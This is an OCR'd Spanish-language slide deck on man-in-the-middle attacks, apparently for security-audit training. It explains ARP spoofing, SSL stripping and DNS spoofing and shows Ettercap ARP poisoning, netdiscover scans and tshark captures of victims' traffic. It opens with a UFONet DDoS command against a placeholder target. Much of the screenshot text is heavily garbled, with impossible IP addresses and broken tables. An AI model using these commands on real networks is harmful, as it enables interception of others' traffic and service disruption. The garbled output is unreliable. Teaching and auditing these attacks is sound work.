|-> MONLIST  # |-> PINGER
|-> FRAGGLE  # |-> UFOUDP
|-> SNIPER  #

https://qithub.com/epsylon/ufonet

v

[ UFONet: https://ufonet.03c8.net ] <-

888 888 8888888888 .d88888h. 888b 888 888
888 888 888 d88pP Y888b 8888b 888 888
888 888 888 888 888 88888b 888 888
888 888 8888888 888 888 888Y88b 888 .d88b. 888888
888 888 888 888 888 888 Y88h888 d8P Y8b 888
888 888 888 888 888 888 Y88888 88388888 888
Y88b. .d8sP 888 Y88b. .d88P 888 Y8888 Y8b. Y88b.

[[jomoza@notyourdevice] [/dev/pts/0] [master j‘]
[

~/Documents/TOOLS/MORE/ufonet]> ./ufonet -a 'https://target.scope’' -r '1000' --no-purge
--user-agent="AppleCoreMedia/1.0.0.20L563 (Apple TV; U; CPU OS 16_5 like Mac 0OS X;

en_us)' --referer="http://xss.in/' --host="github.com'


https://github.com/epsylon/ufonet
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MITM

Un ataque "MITM" (Man-in-the-Middle) es un tipo de tecnica de seguridad ofensiva en el que un
atacante se coloca deliberadamente entre dos partes que estan tratando de comunicarse,
interceptando y, a menudo, modificando la informacion que se intercambia entre ellas. Este tipo
de ataque puede tener graves implicaciones para la seguridad de la red y la privacidad de las
comunicaciones. En el contexto de una auditoria de seguridad de redes, el objetivo es identificar
y mitigar posibles vulnerabilidades que podrian permitir que un atacante realice un ataque

MITM.

MIDDLE CHILD DAY

neMmeyericrator.net



MITM

Supongamos que el auditor esta realizando una auditoria en una red corporativa y desea evaluar la
vulnerabilidad del trafico entre un usuario (Usuario A) y el servidor de correo electrénico. El auditor identifica la
direccién IP de Usuario A y el servidor de correo electronico y ejecuta una herramienta como Ettercap o
ARPspoof para enviar tramas ARP falsas que asocian su propia direccion MAC con la direccion IP de Usuario A.

Cuando Usuario A intenta comunicarse con el servidor de correo electrénico, el trafico pasa a través del sistema
del auditor. El auditor puede capturar y analizar el trafico para demostrar como un atacante podria interceptar
datos confidenciales, como credenciales de inicio de sesion o contenido de correo electronico.



A HOW MAN-IN-THE-MIDDLE ATTACK WORKS
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MAN IN THE MIDDLE

SENDER HACKER RECEIEVER

ARP Spoofing (Intercepcion ARP): Este es uno de los escenarios mas comunes en un ataque MITM. El
atacante envia tramas ARP falsas en la red para asociar su propia direccion MAC con la direccion IP de la
victima, lo que le permite interceptar y redirigir el trafico destinado a la victima.

Intercepcion de Trafico HTTP: Un atacante puede interceptar el trafico HTTP entre un usuario y un
servidor web. Esto puede permitir la captura de credenciales de inicio de sesion y otros datos sensibles.



HOW MAN-IN-THE-MIDDLE ATTACK WORKS
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MITM

SENDER HACKER RECEIEVER

MAN IN THE MIDDLE

ARP Spoofing (Intercepcion ARP): Este es uno de los escenarios mas comunes en un ataque MITM. El
atacante envia tramas ARP falsas en la red para asociar su propia direccion MAC con la direccion IP de la
victima, lo que le permite interceptar y redirigir el trafico destinado a la victima.

Intercepcion de Trafico HTTP: Un atacante puede interceptar el trafico HTTP entre un usuario y un
servidor web. Esto puede permitir la captura de credenciales de inicio de sesion y otros datos sensibles.
SSL Stripping: Este ataque implica la eliminacion forzada de la capa de seguridad SSL/TLS de las
conexiones seguras, lo que permite que el atacante pueda acceder a la informacion transmitida de forma
cifrada.

DNS Spoofing: Un atacante puede manipular las respuestas del servidor DNS para redirigir a las victimas a
sitios web maliciosos o falsificados



A HOW MAN-IN-THE-MIDDLE ATTACK WORKS
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SENDER HACKER RECEIEVER

ARP Spoofing (Intercepcion ARP): Este es uno de los escenarios mas comunes en un ataque MITM. El
atacante envia tramas ARP falsas en la red para asociar su propia direccion MAC con la direccion IP de la
victima, lo que le permite interceptar y redirigir el trafico destinado a la victima.
Intercepcion de Trafico HTTP: Un atacante puede interceptar el trafico HTTP entre un usuario y un
servidor web. Esto puede permitir la captura de credenciales de inicio de sesion y otros datos sensibles.
SSL Stripping: Este ataque implica la eliminacion forzada de la capa de seguridad SSL/TLS de las
conexiones seguras, lo que permite que el atacante pueda acceder a la informacion transmitida de forma
cifrada.
DNS Spoofing: Un atacante puede manipular las respuestas del servidor DNS para redirigir a las victimas a
sitios web maliciosos o falsificados

En redes Wi-Fi publicas o abiertas, un atacante puede configurar un punto
de acceso Wi-Fi falso para interceptar el trafico de los usuarios que se conectan a esa red.

En el contexto del correo electrénico, un atacante podria interceptar o

manipular mensajes y archivos adjuntos en transito.



BASIC MITM - ARP SPOOFING

El ataque de ARP Spoofing es un tipo de ataque Man-in-the-Middle
que se centra en la manipulacion del protocolo ARP en una red local. El objetivo

principal del ataque de ARP Spoofing es redirigir o interceptar el trafico de red entre dos dispositivos al hacer que las

victimas envien su trafico a través del atacante. Esto permite al atacante interceptar, modificar o reenviar el trafico

segun sea necesario.



BASIC MITM - ARP SPOOFING

El ataque de ARP Spoofing es un tipo de ataque Man-in-the-Middle

que se centra en la manipulacion del protocolo ARP en una red local. El objetivo
principal del ataque de ARP Spoofing es redirigir o interceptar el trafico de red entre dos dispositivos al hacer que las
victimas envien su trafico a través del atacante. Esto permite al atacante interceptar, modificar o reenviar el trafico
segun sea necesario.

Como funciona el ataque de ARP Spoofing:



BASIC MITM - ARP SPOOFING

El ataque de ARP Spoofing es un tipo de ataque Man-in-the-Middle

que se centra en la manipulacion del protocolo ARP en una red local. El objetivo
principal del ataque de ARP Spoofing es redirigir o interceptar el trafico de red entre dos dispositivos al hacer que las
victimas envien su trafico a través del atacante. Esto permite al atacante interceptar, modificar o reenviar el trafico
segun sea necesario.

Como funciona el ataque de ARP Spoofing:

En una red local, los dispositivos utilizan el protocolo ARP para mapear direcciones IP a
direcciones MAC. Los dispositivos envian solicitudes ARP para conocer la direccion MAC asociada a una direccion
IP especifica.

El atacante inicia el ataque enviando respuestas ARP falsificadas a las victimas. Estas
respuestas ARP falsas asocian la direccion MAC del atacante con la direccion IP de la victima. Como resultado, las
victimas creen que la direccion MAC del atacante es la direccion MAC correcta para la direccion IP de destino.

Una vez que las tablas ARP de las victimas han sido envenenadas, cualquier trafico
destinado a la direccion IP de destino se envia al atacante en lugar del dispositivo legitimo. El atacante puede
inspeccionar, modificar o reenviar el trafico segin sea necesario.



BASIC MITM - ARP SPOOFING

» Kalk Linue2022.2 amd6a g) - Oracle VA vax®g 52 clanar g) - Oracie VM v AKX

B umPoOOl-| 23 4]|c7 { i 20 S H 5 L e . =

\daptador de Ethernet Ethernet:

mam Eﬂml? .

Sufijo DNS especifico pars la conexién :
direccion IPv6 local. . . fedd: :41¢2:34ch: peb:4cc6X15

Direccién IPva : 9.106

Miscars de subred iTeia

Puerta de enlace predeterminada e el

Host Ust x
1P Address MAC Address Description
S 10.10.0.1  80:78:71:00:72:00
10.10.0.100 AD:AB:CD:87:64:C8
10.10.0.102 70:4D:78:87:F9:07
10.10.0.104 08:00:27:AB:08:1C
10.10.0.105 00:24:32:18:33:.95

Adaptador de Ethernet Ethernet 2:

Estak

y de los medios . i medlos desconectados
Sufijo DNS especifico pars 1 :

Users\jomozararp /a

nterfaz: 19.10.08.186 axf

Direccidn de Internet Direccidn fisica Tipo
10.10.0.1 80-78-71-00-72-00 dindmico
10,10.0.102 70-4d-7b-87-F9-d7 dindmico

10.10.0.108 b-96- 64 dindmico

10.10.0.255 FF-FF estético
224.0.0.22 P-00-16 estitico
224.0.0.251 p-80-fb estitico

224.8.9.252 8- fc estitico
2 01-00-50-7f-Ff-fa estitico
255 F-Ff-FF-FF estitico

Users\ jomoz

Delete Host Add to Target 1 Add to Target 2
| SwrtingUnifiedsaiffing.. 3
e g
LD

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
6 hosts added to the hosts Ust...
Host 10.90.0.906 added to TARGET)




BASIC MITM - ARP SPOOFING

Setup

Sniffing at startup

Primary Interface enp2s0 @ v

Bridged sniffing
Bridged Interface

erca




BASIC MITM - ARP SPOOFING

[T}

e E o = Ettercap

<

i Hosts list et
the

Enable IPv6 Scan g L7

Scan for hosts @ i [
X e

Load hosts from file ... 73

=

i

Save hosts to file ... et

a2l el £
] S Wl

5
he
X p
X e
L X p
X e
{-es :
M ua: no scripts were specified, not starting up!

Scanning the whole netmask for 1023 hosts... ass

16 hosts added to the hosts list...

etV 1028]
tion reset bv peer ettercan 0.8



BASIC MITM - ARP SPOOFING

: H o = Ettercap

Host List @

{ IP Address MAC Address Description

l172.17.60.1 00:09:0F:09:00:06
172.17.60.63 64:16:7F:50:1C:6D @
172.17.60.111 60:18:95:72:28:F8
172.17.61. E4:E7:49:42:80:64
172.17.61. 04:BF:1B:62:63:ED
172.17.61 54:B2:03:14:F2:1A
172.17.61 F4:4D:30:45:76:84
172.17.61 74:27:EA:24:C5:60
172.17.61. C8:4B:D6:48:F6:27
172.17.62.88 00:D8:61:0A:0C:78
172.17.63.4 70:B5:E8:AD:EB:3F
172.17.63.74 34:9F:7B:CF:CE:89
172.17.63.91 94:C6:91:64:50:14
172.17.63.202 (C8:4B:D6:1A:85:FB

Delete Host Add to Target 1

#Lua: no scripts were specified, not starting up! @

fStarting Unified sniffing...

Add to Target 2

o

lRandomizing 1023 hosts for scanning...
§Scanning the whole netmask for 1023 hosts...
16 hosts added to the hosts list.
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Ettercap

s 1P Address MAC Address Description

2 .17.61.23 E4:E7:49:42:80:64 5
NDP poisoning

.17.61.24 04:BF:1B:62:63:ED

17.61.190 54:82:03:14:F2:1A ICMP redirect...

17.61.195 F4:4D:30:45:76:84 Port stealing...

.17.61.196 74:27:EA:24:C5:60 X
DHCP spoofing...

.17.61.223 C8:4B:D6 6:27

.17.62.88 00:D8:61:0A:0C:78 Stop MITM attack(s)

€ Ty SSL Intercept
Es 3
17.63.202 (C8:4B:D6:1A:85:FB
172.17.63.239 (C8:4B:D6:4A:80:EC
fe80::369f:7bff:fecf:ce89 34:9F:7B:CF:CE:89
S 192.168.0.10 94:C6:91:64:50:14

Delete Host Add to Target 1 Add to Target 2

recviivza)
ction reset hv neer ettercan 0
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Ettercap

4

Hosts list

Enable IPv6 Scan
Scan for hosts

Load hosts from file ...

Save hosts to file ...

cap

192.108.0.45/2535.253.255.U
fe80::276c:14f8:10ab:97eb/64
fdc3:bda6:5662:c682:7a87:2af6:a5bf:d75¢/64

SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Privileges dropped to EUID 65534 EGID 65534...

34 plugins
42 protocol dissectors
57 ports monitored
28230 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services
Lua: no scripts were specified, not starting up!
Starting Unified sniffing...

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts

8 hosts added to the hosts list... h

- Hacer:
Protocolos.
Practica wireshark/tshark

MITM Basico

rliomoza@notyourdevice]
[/dev/pts/3]
L[~]> sudo ettercap -G
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F!_'—

Currently scanning:

192.168.63.0/16

Screen View: Unique Hosts

5 Captured ARP Req/Rep packets, from 4 hosts. Total size: 246

.168.0.1

.168.0.43
.168.0.40
.168.0.50

At

b0
4c
6¢C
6C

MAC Address

:46:fc:76:32:a8
:6e:6e:2f:d9:35
:19:8f:bf:c4:0d
:19:8f:bf:c4:0d

Len MAC Vendor / Hostname

84 MitraStar Technology Corp.
42 Comnect Technology CO.,LTD
60 D-Link International
60 D-Link International

42 protocol dissectors
57 ports monitored

28230 mac vendor fingerprint

1766 tcp OS fingerprint

2182 known services

Lua: no scripts were specified, not starting up!
Starting Unified sniffing...

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts

8 hosts added to the hosts list... h

sudo netdiscover -i wio1




|- Bl jomoza@notyourdevice:~

jomoza@notyourdevice:~

74:c6 y

28:11 =372

o]0] :76
2 e37 :a8
b0 276 0
Ettercap 28 =37: a8
2 37 00
b0 76: 168
4 2 37 :00
2 37 0:00
Hosts list 37 -00
Enable IPv6 Scan 37: ¢ :00
Scan for hosts 37 :00:0 :00
=37 :00 00
Load hosts from file ... .27 00 n
i ¥ v uu
Save hosts to file ... 37 :00: 0
373 00: 0
: 373 00:

37

el =

0:00:

VW W W

dNNNNNN

:00:
:00:00:
:00:00:
AN-NN-N

4f8:10ab:97eb/64
bda6:5662:c682:7a87:2af6:a5bf:d75¢/64

VW w

SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Privileges dropped to EUID 65534 EGID 65534...

34 plugins 1 jomoza notyourdevice |/dev/pts/3
42 protocol dissectors ~ ud

57 ports monitored jomoza'notyourdevice| [/dev/pts/3
28230 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services
Lua: no scripts were specified, not starting up! ettercap 0.8.3.1 yright 2001-2020 Ettercap Development T
Starting Unified sniffing... ‘

{

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
8 hosts added to the hosts list... 4_



https://www.geeksforgeeks.org/computer-network-cheat-sheet/
https://www.geeksforgeeks.org/computer-network-cheat-sheet/
https://www.exploit-db.com/docs/48120
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Host List 3¢

192.168.0.1

192.168.0.35
192.168.0.39
192.168.0.40
192.168.0.42
192.168.0.43
192.168.0.46

a g st

B0:46:FC:76:32:A8
3A:17:8F.C4:53:63
E0:B6:55:51:ED:81 Android-2.local
6C:19:8F.BF:C4:0D
74:D4:23:1C:D2:6D
4C:6E:6E:2F:D9:35
74:C6:3B:A7:00:4D

fe80::c28:db99:32d8:7400 3A:17:8F:.C4:53:63
fe80::6e19:8fff:febf:c40d 6C:19:8F.BF:C4:0D
fe80::76d4:23ff:felc:d26d 74:D4:23:1C:D2:6D
feRn--h24a-frff-fe7A-3238 RN-4AFC-7AR32-AR

- Hacer:
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€ = q g

Host List 3¢

192.168.0.1

192.168.0.35
192.168.0.39
192.168.0.40
192.168.0.42
192.168.0.43
192.168.0.46
fe80::c28:db99:32d8:7400
fe80::6e19:8fff:febf:c40d
fe80::76d4:23ff.felc:d26d
feRn--h24A-fcff-fe76-32a8

B0:46:FC:76:32:A8
3A:17:8F.C4:53:63
E0:B6:55:51:ED:81 Android-2.local
6C:19:8F.BF:C4:0D
74:D4:23:1C:D2:6D
4C:6E:6E:2F:D9:35
74:C6:3B:A7:00:4D
3A:17:8F.C4:53:63
6C:19:8F.BF.C4:0D
74:D4:23:1C:D2:6D
RN-4AFC-7A-32-AR

€ = a g e

Host List 3¢

B0:46:FC:76:32:A8
192.168.0.39 EO0:B6:55:51:ED:81
192.168.0.40 6C:19:8F:BF:C4:0D
192.168.0.41 06:32:8E:2D:6A:CC Cancel MITM Attack: ARP Poisoning
192.168.0.42 74:D4:23:1C:D2:6D
192.168.0.43 4C:6E:6E:2F:D9:35 Optional parameters
192.168.0.46 74:C6:3B:A7:00:4D > | [ Sniff remote connections.

192.168.0.50 6C:19:8F:BF:C4:0D A4 Only poison one-way.

Delete Host Add to Target 1

Listening on:
wlol -> 28:11:A8:37:15:68
192.168.0.45/255.255.255.0
fe80::276¢:14f8:10ab:97eb/64
fdc3:bda6:5662:c682:7a87:2af6:a5bf:d75¢/64

SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Privileges dropped to EUID 65534 EGID 65534...

34 plugins
42 protocol dissectors
57 ports monitored
28230 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services
Lua: no scripts were specified, not starting up!
Starting Unified sniffing...

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
8 hosts added to the hosts list...

Host 192.168.0.41 added to TARGET1

Add to Target 2
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e aQ 2

Ettercap
0.8.3.1 (EB)

Host List 3¢ Connections ¢

192.168.0.1 B0:46:FC:76:32:A8
192.168.0.39 EO0:B6:55:51:ED:81

192.168.0.41

192.168.0.43 4C:6E:6E:2F:D9:35
192.168.0.46 74:C6:3B:A7:00:4D
192.168.0.50 6C:19:8F:BF:C4:0D

(o
Archivo Edicion Visualizacién Ir Captura Analizar Estadisticas Telefonja reless Herramientas Ayuda

¢ R @ = Q|

[ Crvgmn

src == 192.168.0.41

Source inati Lengtr Info

1059 44 4547005 192.108.0.4 66.102.1.188 CP 106 [ ICP ransr 37714
1662 445.764868890 192. Standard query Gxgaad A g.
1663 445.766523627 192. Standard query 0x94ad A g.w
1666 445.854799863 54696 — 5222 [SYN] Seq=0 Wi
1667 445.956024644 Standard query ©x4af@ A med
445.958508334 Standard query Ox4afe A med
959760948 35816 — 443 [SYN] Se in

450.172451630
450.174535815
450.175303845
450.182736

Standard query ©xa/cl
Standard query ©xa7cl
Standard query ©x82d3

andard query 0x82d3

) o G ) >
. 786536538 49.154.167.43
786563108 168. 9.154.167.222

. 827516031

1.1
149.154.167.92

€ = a g e

Host List 3¢

192.168.0.1 BO0:46:FC:76:32:A8
192.168.0.39 E0:B6:55:51:ED:81
192.168.0.40 6C:19:8F:BF:C4:0D
192.168.0.41 06:32:8E:2D:6A:CC
192.168.0.42 74:D4:23:1C:D2:6D
192.168.0.43 4C:6E:6E:2F:D9:35
192.168.0.46 74:C6:3B:A7:00:4D
192.168.0.50 6C:19:8F:BF:C4:0D

Cancel MITM Attack: ARP Poisoning

Optional parameters

V 3 sniff remote connections.
Only poison one-way.

Delete Host Add to Target 1

Listening on:
wlol -> 28:11:A8:37:15:68
192.168.0.45/255.255.255.0
fe80::276¢:14f8:10ab:97eb/64
fdc3:bda6:5662:c682:7a87:2af6:a5bf:d75¢/64

SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Privileges dropped to EUID 65534 EGID 65534...

34 plugins
42 protocol dissectors
57 ports monitored
28230 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services
Lua: no scripts were specified, not starting up!

. Starting Unified sniffing...

Randomizing 255 hosts for scanning...
Scannmg the whole netmask for 255 hosts...
2 8 hosts added to the hosts list...

Host 192.168.0.41 added to TARGET1

ST

Add to Target 2




BT T
Etterca

€ = a o =

Host List 3¢ Connections 3

192.168.0.1
192.168.0.39

68 0 40 " =
l192‘168.0.41 06:32:8E:2D:6A:CC

100.0.9 D23 IC D200
192.168.0.43 4C:6E:6E:2F:D9:35
192.168.0.46 74:C6:3B:A7:00:4D
192.168.0.50 6C:19:8F:BF:C4:0D

Ir Captura Analizar Estadisticas Telefonfa Wireless Herramientas Ayuda
Q @

jomoza“notyourdevice /dev/pts/S
CeRaik if "sre

= sudo tshar

Source Protocol Lengtt Info
1 C 106 [TC
. 766523627 . : .58.61.250 N Standard query 0x94ad A g
854799863 E 205 .13.83. 54696 ~ 5222 [SYN] Seq=@ Wil
956024644 . .4 .250 N Standard query ©x4af@ A media-madi-1.cdn.whatsapp.nt
958508334 . -4 . 61. Standard query 0x4af@ A media-madi-1.cdn.whatsapp.nt
X 43 [S' in=65! =0 MSS=:

4 [1C n]
. 172451630 2 g 5 .250 N tandard query ©xa7cl A www.google
0.174535815 - 5 .250 N 6 Standard query ©xa7cl A www.google.
175303845 5 .4 .58.61. N Standard query ©x82d3 A www.google.
6 Standard query 0x82d3 A www.
-l ] 53096

R
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»

vax®

Windows 52 clonar [Running] - Oracle VM VirtualBox

BEmPO-| 123 4]|c5 BRI

japtador de Ethernet Ethernet

mQ®

5 especifico pars la comexidn. . :

lo: direccidn IPv6 local. . Fe80: :41C2: 34ch: aed: 4cC6¥1S
Host List x Sia e . 1 10,10.9,106

Miscara de subred . . « . i 255.255.255.8

1P Address MAC Address Description Pusrta de enlace predeterminada . . . . . ¢ 18.18.8.1
101001 80:78:71:00:72:00
10.10.0.100 AQ:A8:CD:E7:64:C8 atado: @i/t
10.10.0.102 70:40:78:87.9:07 Sufijo ONS
10.10.0.104 08:00:27:A8:08:1C
10.10.0.105 00:24:3218:33:95

\daptador de Ethernet Ethernet 2:

1 medios desconectados

especifico para la comexidn
Users\jomozararp /a
Interfaz: 10.10.8.106 axf

reccidn de Internet Direccién fisica Tipa
10.10.0.1 80-78-71-00-72-80 dinénico

10.0.1802 70-4d-7b-87-¥9-d7 dinémico
08-90-27- 96-68 dinémico
FE-FF-FE-FF-FF-FF estitico

01-00-50-00-00-156 estdtico
91-80-50-900-80-fb
01.00-50-00-00-fc
91.80-5¢.7F-Ff.fa
FE-FF-FE-FF-FF-FF

Delete Host Add to Target 2

R ing 255 hosts for
| Scanning the whole netmask for 255 hosts...
© 6 hosts added to the hosts list...

'\ Hos110.10.0.906 added to TARGETY

9
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maps.googleapis.con 142.299.184.170

maps.gstatic.com 142.250,178.163

maps.gstatic.con 142,250.178.163

cdn, Jsdellivr.net 106.16.87, 104.16,86.29,106.16.85,20,104,16.89.20,104.16.86,20

cdn. Jsdelivr.net 106.16.87. 184.16.868.20,1064.16.85,20,104.16.89.20, 10

cdn. jsdelivr.net 151.181.129.229,151.101.193.229,151.101.1.229,151.1081.65.229

cdn.jsdelivr.net 151.101.129.229,151.101.193.229,151.101.1.229,151.191.65.229

google.com 142.2%0.201.78 Haciendo ping a google.com [142.250.201.78] con 32 bytes de datos:
google.com Respuests desde 142.250.201.78: bytes-32 tiewpo-8Sms TTL-116
google.com Respuests desde 142,250,201, bytes«12 tiempo-12nms TTL-116
google.con 162,250.178.174 Respuests desde 142,250.201.7 tese32 tiempos12ms TTL«116

y

loveisinthe.net 104.21.54.18,172.67.222.129
loveisinthe.net 104.21.54.18,172.67.222.129
loveisinthe.net 184.21.54.18,172.67.222.129
loveisinthe.net 184.21.%4.18,172.67.222.129 Paquetes: enviados - 4, recibidos - 4, perdidos - @
windows .msn.com 204.79.197.203 (X perdidos),

windows.msn.com 204,79,197,203 Tiempos aproximsdos de ids y vuelts en milisegundos:
windows .msn.com 204.79.197,283 MNinimo « 8ms, Méximo « 12ms, Medis « 1ims
windows.msn.com 284.79,197,203

nav.ssartscreen.microsoft.com  20.86.249.62

nav.ssartscreen.microsoft.com 20.86.249.62

assets.msn.com 2.17.37.176,2.17.37.2%,2.17.37.72,2.17.37.8,2.17.37,163,2,17.37.184,2,17.37.179,2.17.37.192,2.17.37.,

Respuesta desde 142,256,201

bytes«32 tiempos12ms TTL«116

Estadisticas de ping para 142.250.201.78:

C: \Users\Jomoza>
:\Users\jomozarping loveisinthe.net

paciendo ping a loveisinthe.net [184.21.54.18] con 32 bytes de datos:

9
assets.msn.com 2.17.37.176,2.17.37.25,2.17,37.72,2.17.37.8,2.17.37.163,2.17,37.184,2.17.37.179,2.17.37.192,2.17.37,
9 Respuests desde 104,21.54,18; bytess32 tiewpos27ns TTLeSS

smartscreen-prod.microsoft.com  20.82.250.189 Respuesta cesde 164,21.54.18; bytess32 tliespos32ms TTLw55
smartscroen-prod.microsoft.com 20.82.250.189 Respuesta desde 184.21.54.18: bytes=32 tiewpos32ms TTL=55
c.msn.com 20.234.93.27 "

sb.scorecardresearch.com 13.2649.9.46,13.249.9.34,13.249.9,05,13.249.9.35 disticas de ping para 104.21.54.18:

<.msn.com 20.234.93.27 Paquetes: enviados = 3, recibidos « 3, perdidos - @
sb.scorecardresearch.con 13.249,9.46,13,249.9,34,13.249,9,65,13.249,9,35 (0% perdidos)

0.552.u8 1906,138.2.195,108,136.2.19,108.138.2,173,108.138,2.167 aproximados de ida y v s en mil

9.552.u% 108.136.2.195,108.1368.2.10,108.138.2,173,108.138.2,107 Minimo « 27ms, Miximo = 3285, Media = Joms

0.552.u8s 188.157.91.136,108.157.91.20,108.157.91.77,108.157.91.14

0.352.u% 108.157.91.136,108.157.91.20,108.157.91.77,108.157.91.14

c.bing.com 7.21.20

c.bing.con 07.21.200

0CSp.rootg2. anazontrust., com 13.249.12.177,13,249,12,157,13.249,12,60,13.249.12,156
OCSP.FOOTE2.AMAZONTrUST . COm 13.249,12.177,13.249,12.157,13,249,12.60,13,249.12.156
ing-s-msn-com.akamaized.net 84.53.132.67,84.53,132.57

img-s-msn-com.akamaized.net 84.53.132.67,84.53.132.57

ww.bing.com  2084.79.197.200,13.107.21.200

waw . bing.com 204.79.197.200,13.107.21.200

ocsp.rootcal.amazontrust.con 13.224,106.105,13.224.106,95,13.226.106,107,13,224,1006.16
ecn-us.dev, virtualearth.net 23,37.175,29

OCSP.roOTCal, amazontrust . con 13.224,106.105,13.224,106,95,13.224.106,107,13,224,1906.16
ecn-us.dev.virtualearth.net 23.37.175.29

ocn.dev.virtualearth.net 23.37.175.29
ecn.dev.virtualearth.net 23.37.175.29
browser.events.data.msn.com $2.108,117.17¢

browser.events.dsta.msn.com $2.168,117.178
th.bing.com 204.79.197,200,13.107.21.200
;h.hlﬂ;.co‘ 204,79,197,200,13,107.21.200
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4 C Q e

100105

hals@eal
*  GORGONA Acuneti Falcon

" /19206842

File Actions Edit View Help @ Wikis W 2% A Bl
resco » Wik = * Acceso - Bl

« as us t* and group s i sld .
Capturing on
oe (tshark: 17:07.435396 Capture started
o+ (tshark:épel @7.435502 File: "/tmp/wireshark_oth@AG06Q1.pcagag”
Q000004 204000002001 c004 4D
3 230

109350035004

0df32e¢
941008500024
M49910004L08L5D

13994 fRR4 3002800
dcafEnIbfovarans s

91001004
233004 fR0s
42904230280000005:
> 2001000000000

10010004

93500418
s fanse

9I201cRRLLBDLIN
2190000008000
000000000
noe

Seguridad de

Escribir credenciales de red

f
ARASR05IDNLHDRS DD

Escritn sus credencales pars consctarse & DESKT




Time Source Destination Protocol Lengtl Info
.973497197 .168.12. 192.168.12. DNS 104 Standard response Oxbdc8 A or-se.storage.googleapis.com A 142.250.201.80
.763578515 .168.12. 192.168.12. DNS 88 Standard Oxdaeb A or-se.storage.googleapis.com
.763664266 .168.12. 8.8.8.8 DNS 87 Standard Oxf84d A mediaservices.cdn-apple.com
.763693231 .168.12. 192.168.12. DNS 104 Standard response Oxdaeb A or-se.storage.googleapis.com A 142.250.201.80
.763694217 .168.12. 8.8.8. DNS 87 Standard ©x9192 AAAA mediaservices.cdn-apple.com
. 772549059 .8. 192. S 12 DNS 258 Standard response 0xf84d A mediaservices.cdn-apple.com CNAME mediaservices.cdn-apple.com.akadns.net CNAME mediaservices.cdn-apple
.774508818 .8. 2 25 125 DNS Standard response 0x9192 AAAA mediaservices.cdn-apple.com CNAME mediaservices.cdn-apple.com.akadns.net CNAME mediaservices.cdn-ap
361316737 .168.12.21 8.8.8. 225 Destination unreachable (Port unreachable)
.086603617 .168.12.218 .8.8. 301 Destination unreachable (Port unreachable)
7.087712600 .168.12.2 8.8.8. | Destination unreachable (Port unreachable)
.087744483 Z .12, 5 12 Standard 0x38f5 A log-ingestion-eu.samsungacr.com
.087792965 : 0% = 2124 Standard 0x6f2a AAAA log-ingestion-eu.samsungacr.com
.087870973 ¢ i : a P Standard response 0x38f5 A log-ingestion-eu.samsungacr.com A 52.209.205.185 A 108.128.87.241 A 52.17.205.183 A 54.228.18.98 A 34.7

.087904021 . .12, . .12. Standard response 0x6f2a AAAA log-ingestion-eu.samsungacr.com

.956484385 = -12. ’ =32: Standard 0x0931 A mediaservices.cdn-apple.com

.956523294 £ 2 s 2 .12, Standard Oxbcle AAAA mediaservices.cdn-apple.com

.966654208 : =12 . 2120 Standard response Oxbcle AAAA mediaservices.cdn-apple.com CNAME mediaservices.cdn-apple.com.akadns.net CNAME mediaservices.cdn-apf

967023959 : 23 J A2 Standard response ©x0931 A mediaservices.cdn-apple.com CNAME mediaservices.cdn-apple.com.akadns.net CNAME mediaservices.cdn-apple.
.158603329 ¢ 42 .8.8. Standard Oxd2f1 AAAA log-ingestion-eu.samsungacr.com

.164038370 8.8.8. - 227 Standard response Oxd2fl AAAA log-ingestion-eu.samsungacr.com SOA ns-558.awsdns-05.net

.557498302 192. <12, .8.8. Destination unreachable (Port unreachable)

.557522321 .168.12. .168.12. Standard query ©x0363 A crl.godaddy.com

.565024315 E 2 : =20 Standard query response 0x0363 A crl.godaddy.com CNAME gdcrl.godaddy.com.akadns.net A 192.124.249.31 A 192.124.249.36 A 192.124.249.41
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Oh yes, the Sniffer.

BASIC MITM - ARP SPOOFING

Limitaciones

Necesidad de estar en la misma red:

Deteccion y prevencion:

Problemas con HTTPS:

Dado que muchos servicios en linea utilizan HTTPS, la efectividad de ARP Spoofing se ha visto reducida en gran
medida en los ultimos anos. Los navegadores modernos muestran advertencias de seguridad cuando se intenta
acceder a sitios web con certificados no validos o cuando se detectan posibles ataques MITM. Como resultado,
los atacantes suelen recurrir a técnicas mas avanzadas para sortear estas defensas.



Cert and SSL - Spoofing

son un componente fun ental en la
seguridad de las comunicaciones en linea. Se utilizan para cifrar | conexiones entre un cliente y un'§@rvidor, lo que

garantiza la privacidad y la integridad de los datos transmitidos. Juj hWén “o e WS certificados
SSL/TLS:

Importancia de los Certificados SSL/TLS:

Cifrado de Comunicaciones: Los certificados SSL/TLS p@ni re un cliente y
un servidor. Esto garantiza que los datos transmitidos e
autorizados.

Integridad de Datos: Ademas del cifrado, los certificados
modifica la informacion durante la transmision, se detecta S
Autenticacion del Servidor: Los certificados SSL/TLS autepis i cliente se esta
conectando al sitio web o servidor correcto y no a un g
prevenir ataques MITM (Man-in-the-Middle).
Construccion de Confianza: La presencia de un cert do SSL/TLS en un sitio web se indica mediant@@ icono de
candado en el navegador y la direccion "https://". Esto construye confianza en los visitantes del sitio, ya que saben
que sus datos estan protegidos.
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Uso de Certificados SSL/TLS para Evitar Ataques MITM:

Los certificados SSL/TLS son una defensa efectiva contra los ataques MITM. Cuando un sitio web utiliza un
certificado SSL/TLS, el cliente (navegador web) verifica la autenticidad del certificado del servidor. Si el
certificado no es valido o es sospechoso, se mostraran advertencias al usuario.
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Uso de Certificados SSL/TLS para Evitar Ataques MITM:

Los certificados SSL/TLS son una defensa efectiva contra los ataques MITM. Cuando un sitio web utili
certificado SSL/TLS, el cliente (navegador web) verifica la autenticidad del certificado del servidor. Si el
certificado no es valido o es sospechoso, se mostraran advertencias al usuario.

Para llevar a cabo un ataque MITM en una conexion segura HTTPS, un atacante deberia ser capaz de:

e Suplantar al servidor legitimo y presentar un certificado SSL/TLS valido (lo que es muy dificil debido a la
autoridad de certificacion que emite los certificados).
e Convencer al usuario de que su certificado es legitimo (lo que es complicado debido a las advertencias del

navegador).

